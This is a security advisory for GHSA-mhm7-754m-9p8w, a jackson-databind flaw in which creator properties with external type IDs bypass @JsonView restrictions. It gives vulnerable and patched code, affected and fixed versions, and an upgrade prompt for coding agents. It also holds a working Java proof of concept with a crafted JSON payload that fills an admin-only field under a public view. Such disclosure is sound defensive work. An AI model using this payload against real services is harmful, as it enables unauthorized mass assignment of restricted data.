# GHSA-mhm7-754m-9p8w: jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)` > Attackers can bypass @JsonView restrictions to access restricted data in Jackson databind when using external type IDs in creator properties. - **Severity:** Not scored - **Exploited in the wild:** Not known - **Login needed:** Not needed - **Attackable:** Over the internet - **Victim action needed:** Not needed - **Fix available:** Yes - **Published:** 21 Jul 2026 ## What is GHSA-mhm7-754m-9p8w? GHSA-mhm7-754m-9p8w is a vulnerability in com.fasterxml.jackson.core:jackson-databind, published on 21 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim. ### Official description ## Summary In `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active. This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path. ## Vulnerable Code Path File: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java` Method: `deserializeUsingPropertyBasedWithExternalTypeId` On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`: ```java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; } ``` On 3.1.4, the same branch contains the additional guard (commit 7dc7a17): ```java if (creatorProp != null) { // [databind#5971]: must honor active view here too if ((activeView != null) && !creatorProp.visibleInView(activeView)) { p.skipChildren(); continue; } ... } ``` The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch. Proof of Concept Compiles and runs against jackson-databind 2.21.4: ```java import com.fasterxml.jackson.annotation.*; import com.fasterxml.jackson.databind.ObjectMapper; public class JsonViewExternalTypeIdBypass { public static class PublicView {} public static class AdminView extends PublicView {} public static abstract class Asset { public String name; } public static class PublicAsset extends Asset {} public static class AdminAsset extends Asset { public String secret; } public static class Container { @JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.EXTERNAL_PROPERTY, property = "kind") @JsonSubTypes({ @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"), @JsonSubTypes.Type(value = AdminAsset.class, name = "admin") }) @JsonView(AdminView.class) public Asset asset; public String label; @JsonCreator public Container( @JsonProperty("label") String label, @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) { this.label = label; this.asset = asset; } } public static class Wrapper { @JsonView(PublicView.class) public Container data; } public static void main(String[] args) throws Exception { // Admin-only "asset" should be blocked when reading with PublicView String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\"," + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}"; ObjectMapper om = new ObjectMapper(); Wrapper r = om.readerWithView(PublicView.class) .forType(Wrapper.class) .readValue(json); System.out.println(r.data); // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}} // Expected (secure): Container{label='hello', asset=null} if (r.data.asset != null && r.data.asset instanceof AdminAsset) { System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView"); } } } ``` A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration. ### Impact View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field. - CWE-863 (Incorrect Authorization) - Same impact class as CVE-2026-54517 / CVE-2026-54518 - No RCE, no DoS — this is an access-control / mass-assignment bypass ### Trigger Conditions Developer code must combine (no opt-in user configuration required): 1. Property-based @JsonCreator on the outer type 2. A creator parameter annotated with @JsonView(RestrictedView.class) 3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...") ## Which versions are affected by GHSA-mhm7-754m-9p8w? 4 open source packages ship an affected version, including com.fasterxml.jackson.core:jackson-databind. | Package | Ecosystem | Affected | Fixed in | | --- | --- | --- | --- | | `com.fasterxml.jackson.core:jackson-databind` | Maven | From 2.18.0 | 2.18.9 | | `com.fasterxml.jackson.core:jackson-databind` | Maven | From 2.18.0 | 2.18.9 | | `com.fasterxml.jackson.core:jackson-databind` | Maven | From 2.21.0 | 2.21.5 | | `com.fasterxml.jackson.core:jackson-databind` | Maven | From 2.21.0 | 2.21.5 | ## How do I fix GHSA-mhm7-754m-9p8w? Upgrade com.fasterxml.jackson.core:jackson-databind to a fixed version for your release line: 2.18.9 or 2.21.5. ## Is GHSA-mhm7-754m-9p8w being exploited? There is no known exploitation of GHSA-mhm7-754m-9p8w in the wild and no public exploit code. ## Fix prompt for AI coding agents ```text Check this codebase for GHSA-mhm7-754m-9p8w and fix it if it is affected. What it is: GHSA-mhm7-754m-9p8w is a vulnerability in com.fasterxml.jackson.core:jackson-databind, published on 21 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim. Exploitation: There is no known exploitation of GHSA-mhm7-754m-9p8w in the wild and no public exploit code. Affected packages and fixed versions: - com.fasterxml.jackson.core:jackson-databind (Maven): affected from 2.18.0; fixed in 2.18.9 - com.fasterxml.jackson.core:jackson-databind (Maven): affected from 2.18.0; fixed in 2.18.9 - com.fasterxml.jackson.core:jackson-databind (Maven): affected from 2.21.0; fixed in 2.21.5 - com.fasterxml.jackson.core:jackson-databind (Maven): affected from 2.21.0; fixed in 2.21.5 Task: 1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies. 2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it. 3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead. 4. Run the tests and summarise what changed and why. 5. If nothing in the project is affected, say so and change nothing. Reference: https://insights.sbomify.com/GHSA-mhm7-754m-9p8w/ (Markdown: https://insights.sbomify.com/GHSA-mhm7-754m-9p8w/index.md) ``` ## Sources - OSV: https://osv.dev/vulnerability/GHSA-mhm7-754m-9p8w --- From sbomify Insights: https://insights.sbomify.com/GHSA-mhm7-754m-9p8w/ Summaries are generated and may contain mistakes; the official description above is the record.